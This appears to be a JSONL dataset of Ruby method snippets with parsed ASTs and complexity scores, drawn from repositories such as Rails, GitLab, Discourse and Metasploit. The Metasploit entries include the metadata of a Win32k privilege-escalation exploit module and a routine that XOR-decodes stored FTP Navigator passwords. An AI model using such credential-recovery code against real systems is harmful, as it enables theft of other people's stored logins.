{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/integrations/base/integration.rb","start_line":246,"raw_source":"def dev_integration_names\n          return [] unless Gitlab.dev_or_test_env?\n\n          DEV_INTEGRATION_NAMES\n        end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"dev_integration_names\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"dev_or_test_env?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"const\",\"children\":[null,\"DEV_INTEGRATION_NAMES\"]}]}]}","id":"a02c771f-8227-4add-8ec1-4964633a82dd"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/registry.rb","start_line":52,"raw_source":"def reverse_lookup(value)\n      @map.each do |k, v|\n        return k if v == value\n      end\n      nil\n    end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"reverse_lookup\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@map\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]},{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"k\"]}]},null]}]},{\"type\":\"nil\",\"children\":[]}]}]}","id":"d052f6ae-a251-4cab-b261-5cb08f90e60c"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/reloader.rb","start_line":62,"raw_source":"def self.run!(reset: false) # :nodoc:\n      if check!\n        super\n      else\n        Null\n      end\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"run!\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"reset\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"check!\"]},{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"const\",\"children\":[null,\"Null\"]}]}]}","id":"f5d758c1-aae6-4ed3-b395-ec7a4ac2930f"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/arel/tree_manager.rb","start_line":39,"raw_source":"def where(expr)\n        @ast.wheres << expr\n        self\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"where\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"expr\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@ast\"]},\"wheres\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"expr\"]}]},{\"type\":\"self\",\"children\":[]}]}]}","id":"c58149bf-abc6-4af2-a93d-7abeeb5f42ba"}
{"repo_name":"identity_cache","file_path":"./repos/identity_cache/test/parent_model_expiration_test.rb","start_line":37,"raw_source":"def test_custom_parent_foreign_key_expiry\n    define_cache_indexes = lambda do\n      CustomParentRecord.cache_has_many(:custom_child_records, embed: true)\n      CustomChildRecord.cache_belongs_to(:custom_parent_record)\n    end\n    define_cache_indexes.call\n    old_parent = CustomParentRecord.new(parent_primary_key: 1)\n    old_parent.save!\n    child = CustomChildRecord.new(child_primary_key: 10, parent_id: old_parent.id)\n    child.save!\n\n    # Warm the custom_child_records embedded cache on the old parent record\n    assert_equal(10, CustomParentRecord.fetch(1).fetch_custom_child_records.first.child_primary_key)\n\n    new_parent = CustomParentRecord.new(parent_primary_key: 2)\n    new_parent.save!\n    # Warm the custom_child_records embedded cache on the new parent record\n    assert_empty(CustomParentRecord.fetch(2).fetch_custom_child_records)\n\n    # Now invoke a db update, where the child switches parent\n    child.parent_id = new_parent.parent_primary_key\n    child.save!\n\n    # the old parent's custom_child_records embedded cache should be invalidated and empty\n    assert_empty(CustomParentRecord.fetch(1).fetch_custom_child_records)\n    # the new parent's custom_child_records embedded cache should be invalidated and filled with the new association\n    assert_equal(10, CustomParentRecord.fetch(2).fetch_custom_child_records.first.child_primary_key)\n  end","complexity_score":44.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_custom_parent_foreign_key_expiry\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"define_cache_indexes\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CustomParentRecord\"]},\"cache_has_many\",{\"type\":\"sym\",\"children\":[\"custom_child_records\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"embed\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CustomChildRecord\"]},\"cache_belongs_to\",{\"type\":\"sym\",\"children\":[\"custom_parent_record\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"define_cache_indexes\"]},\"call\"]},{\"type\":\"lvasgn\",\"children\":[\"old_parent\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CustomParentRecord\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"parent_primary_key\"]},{\"type\":\"int\",\"children\":[1]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"old_parent\"]},\"save!\"]},{\"type\":\"lvasgn\",\"children\":[\"child\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CustomChildRecord\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"child_primary_key\"]},{\"type\":\"int\",\"children\":[10]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"parent_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"old_parent\"]},\"id\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"child\"]},\"save!\"]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[10]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CustomParentRecord\"]},\"fetch\",{\"type\":\"int\",\"children\":[1]}]},\"fetch_custom_child_records\"]},\"first\"]},\"child_primary_key\"]}]},{\"type\":\"lvasgn\",\"children\":[\"new_parent\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CustomParentRecord\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"parent_primary_key\"]},{\"type\":\"int\",\"children\":[2]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_parent\"]},\"save!\"]},{\"type\":\"send\",\"children\":[null,\"assert_empty\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CustomParentRecord\"]},\"fetch\",{\"type\":\"int\",\"children\":[2]}]},\"fetch_custom_child_records\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"child\"]},\"parent_id=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_parent\"]},\"parent_primary_key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"child\"]},\"save!\"]},{\"type\":\"send\",\"children\":[null,\"assert_empty\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CustomParentRecord\"]},\"fetch\",{\"type\":\"int\",\"children\":[1]}]},\"fetch_custom_child_records\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[10]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CustomParentRecord\"]},\"fetch\",{\"type\":\"int\",\"children\":[2]}]},\"fetch_custom_child_records\"]},\"first\"]},\"child_primary_key\"]}]}]}]}","id":"bcd74698-0551-4c38-9204-f5e6f0912272"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/topics_filter.rb","start_line":793,"raw_source":"def get_category_ids_from_slugs(slugs, exclude_subcategories: false)\n    category_ids = Category.ids_from_slugs(slugs)\n\n    category_ids =\n      Category\n        .where(id: category_ids)\n        .filter { |category| @guardian.can_see_category?(category) }\n        .map(&:id)\n\n    if !exclude_subcategories\n      category_ids = category_ids.flat_map { |category_id| Category.subcategory_ids(category_id) }\n    end\n\n    category_ids\n  end","complexity_score":16.8,"ast_json":"{\"type\":\"def\",\"children\":[\"get_category_ids_from_slugs\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"slugs\"]},{\"type\":\"kwoptarg\",\"children\":[\"exclude_subcategories\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"category_ids\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Category\"]},\"ids_from_slugs\",{\"type\":\"lvar\",\"children\":[\"slugs\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"category_ids\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Category\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"category_ids\"]}]}]}]},\"filter\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"category\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@guardian\"]},\"can_see_category?\",{\"type\":\"lvar\",\"children\":[\"category\"]}]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exclude_subcategories\"]},\"!\"]},{\"type\":\"lvasgn\",\"children\":[\"category_ids\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category_ids\"]},\"flat_map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"category_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Category\"]},\"subcategory_ids\",{\"type\":\"lvar\",\"children\":[\"category_id\"]}]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"category_ids\"]}]}]}","id":"9f21e7bb-6715-4bb8-b5ad-33a0b968567f"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/quoting_test.rb","start_line":154,"raw_source":"def test_quote_integer\n        integer = 1\n        assert_equal integer.to_s, @quoter.quote(integer)\n      end","complexity_score":4.65,"ast_json":"{\"type\":\"def\",\"children\":[\"test_quote_integer\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"integer\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"integer\"]},\"to_s\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@quoter\"]},\"quote\",{\"type\":\"lvar\",\"children\":[\"integer\"]}]}]}]}]}","id":"5a0e6e89-dea8-4b9c-81eb-275c1eace8a8"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/local/ms18_8120_win32k_privesc.rb","start_line":14,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Windows SetImeInfoEx Win32k NULL Pointer Dereference',\n        'Description' => %q{\n          This module exploits elevation of privilege vulnerability that exists in Windows 7 and 2008 R2\n          when the Win32k component fails to properly handle objects in memory. An attacker who\n          successfully exploited this vulnerability could run arbitrary code in kernel mode. An\n          attacker could then install programs; view, change, or delete data; or create new\n          accounts with full user rights.\n\n          This module is tested against windows 7 x86, windows 7 x64 and windows server 2008 R2 standard x64.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'unamer', # Exploit PoC\n          'bigric3', # Analysis and exploit\n          'Anton Cherepanov', # Vulnerability discovery\n          'Dhiraj Mishra <dhiraj@notsosecure.com>' # Metasploit\n        ],\n        'Platform' => 'win',\n        'SessionTypes' => [ 'meterpreter' ],\n        'DefaultOptions' => {\n          'EXITFUNC' => 'thread'\n        },\n        'Targets' => [\n          [ 'Automatic', {} ],\n          [ 'Windows 7 x64', { 'Arch' => ARCH_X64 } ],\n          [ 'Windows 7 x86', { 'Arch' => ARCH_X86 } ]\n        ],\n        'Payload' => {\n          'Space' => 4096,\n          'DisableNops' => true\n        },\n        'References' => [\n          ['BID', '104034'],\n          ['CVE', '2018-8120'],\n          ['URL', 'https://github.com/unamer/CVE-2018-8120'],\n          ['URL', 'https://github.com/bigric3/cve-2018-8120'],\n          ['URL', 'http://bigric3.blogspot.com/2018/05/cve-2018-8120-analysis-and-exploit.html'],\n          ['URL', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8120']\n        ],\n        'DisclosureDate' => '2018-05-09',\n        'DefaultTarget' => 0,\n        'Compat' => {\n          'Meterpreter' => {\n            'Commands' => %w[\n              stdapi_sys_config_getenv\n            ]\n          }\n        },\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n  end","complexity_score":3.3,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Windows SetImeInfoEx Win32k NULL Pointer Dereference\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits elevation of privilege vulnerability that exists in Windows 7 and 2008 R2\\n\"]},{\"type\":\"str\",\"children\":[\"          when the Win32k component fails to properly handle objects in memory. An attacker who\\n\"]},{\"type\":\"str\",\"children\":[\"          successfully exploited this vulnerability could run arbitrary code in kernel mode. An\\n\"]},{\"type\":\"str\",\"children\":[\"          attacker could then install programs; view, change, or delete data; or create new\\n\"]},{\"type\":\"str\",\"children\":[\"          accounts with full user rights.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module is tested against windows 7 x86, windows 7 x64 and windows server 2008 R2 standard x64.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"unamer\"]},{\"type\":\"str\",\"children\":[\"bigric3\"]},{\"type\":\"str\",\"children\":[\"Anton Cherepanov\"]},{\"type\":\"str\",\"children\":[\"Dhiraj Mishra <dhiraj@notsosecure.com>\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SessionTypes\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"meterpreter\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"EXITFUNC\"]},{\"type\":\"str\",\"children\":[\"thread\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Automatic\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows 7 x64\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows 7 x86\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Space\"]},{\"type\":\"int\",\"children\":[4096]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisableNops\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"BID\"]},{\"type\":\"str\",\"children\":[\"104034\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2018-8120\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://github.com/unamer/CVE-2018-8120\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://github.com/bigric3/cve-2018-8120\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"http://bigric3.blogspot.com/2018/05/cve-2018-8120-analysis-and-exploit.html\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8120\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2018-05-09\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Compat\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Meterpreter\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Commands\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"stdapi_sys_config_getenv\"]}]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]}]}","id":"9378071b-9d67-4da7-8db3-e782e2d67e3d"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/gather/credentials/ftpnavigator.rb","start_line":117,"raw_source":"def decode_pass(encoded)\n    decoded = ''\n    encoded.unpack('C*').each do |achar|\n      decoded << (achar ^ 0x19)\n    end\n    return decoded\n  end","complexity_score":6.98,"ast_json":"{\"type\":\"def\",\"children\":[\"decode_pass\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"encoded\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"decoded\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"encoded\"]},\"unpack\",{\"type\":\"str\",\"children\":[\"C*\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"achar\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"decoded\"]},\"<<\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"achar\"]},\"^\",{\"type\":\"int\",\"children\":[25]}]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"decoded\"]}]}]}]}","id":"2b8931c2-d73b-497d-9084-9fbb7b1972c3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/system_notes/commit_service.rb","start_line":149,"raw_source":"def diff_comparison_path(merge_request, project, oldrev)\n      diff_id = merge_request.merge_request_diff.id\n\n      url_helpers.diffs_project_merge_request_path(\n        project,\n        merge_request,\n        diff_id: diff_id,\n        start_sha: oldrev\n      )\n    end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"diff_comparison_path\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"merge_request\"]},{\"type\":\"arg\",\"children\":[\"project\"]},{\"type\":\"arg\",\"children\":[\"oldrev\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"diff_id\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"merge_request\"]},\"merge_request_diff\"]},\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"url_helpers\"]},\"diffs_project_merge_request_path\",{\"type\":\"lvar\",\"children\":[\"project\"]},{\"type\":\"lvar\",\"children\":[\"merge_request\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"diff_id\"]},{\"type\":\"lvar\",\"children\":[\"diff_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"start_sha\"]},{\"type\":\"lvar\",\"children\":[\"oldrev\"]}]}]}]}]}]}","id":"db904846-383a-49a8-990d-cf6cb3a38654"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-subscriptions/app/controllers/discourse_subscriptions/admin/subscriptions_controller.rb","start_line":52,"raw_source":"def destroy\n        params.require(:id)\n        begin\n          refund_subscription(params[:id]) if params[:refund]\n          subscription = ::Stripe::Subscription.cancel(params[:id])\n\n          customer =\n            Customer.find_by(\n              product_id: subscription[:plan][:product],\n              customer_id: subscription[:customer],\n            )\n\n          if customer\n            user = ::User.find(customer.user_id)\n            group = plan_group(subscription[:plan])\n            group.remove(user) if group\n          end\n\n          render_json_dump subscription\n        rescue ::Stripe::InvalidRequestError => e\n          render_json_error e.message\n        end\n      end","complexity_score":41.3,"ast_json":"{\"type\":\"def\",\"children\":[\"destroy\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"require\",{\"type\":\"sym\",\"children\":[\"id\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"refund\"]}]},{\"type\":\"send\",\"children\":[null,\"refund_subscription\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"subscription\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Stripe\"]},\"Subscription\"]},\"cancel\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"customer\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Customer\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"product_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"subscription\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"plan\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"product\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"customer_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"subscription\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"customer\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"customer\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"user\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"User\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"customer\"]},\"user_id\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"group\",{\"type\":\"send\",\"children\":[null,\"plan_group\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"subscription\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"plan\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"remove\",{\"type\":\"lvar\",\"children\":[\"user\"]}]},null]}]},null]},{\"type\":\"send\",\"children\":[null,\"render_json_dump\",{\"type\":\"lvar\",\"children\":[\"subscription\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Stripe\"]},\"InvalidRequestError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"render_json_error\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]},null]}]}]}]}","id":"9dc27fb2-ddc9-4c1a-a839-762161f6c670"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/blob.rb","start_line":252,"raw_source":"def file_hash\n    OpenSSL::Digest::SHA256.hexdigest(path)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"file_hash\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenSSL\"]},\"Digest\"]},\"SHA256\"]},\"hexdigest\",{\"type\":\"send\",\"children\":[null,\"path\"]}]}]}","id":"6edf6f64-4fb0-4004-954d-6169999fd8cb"}
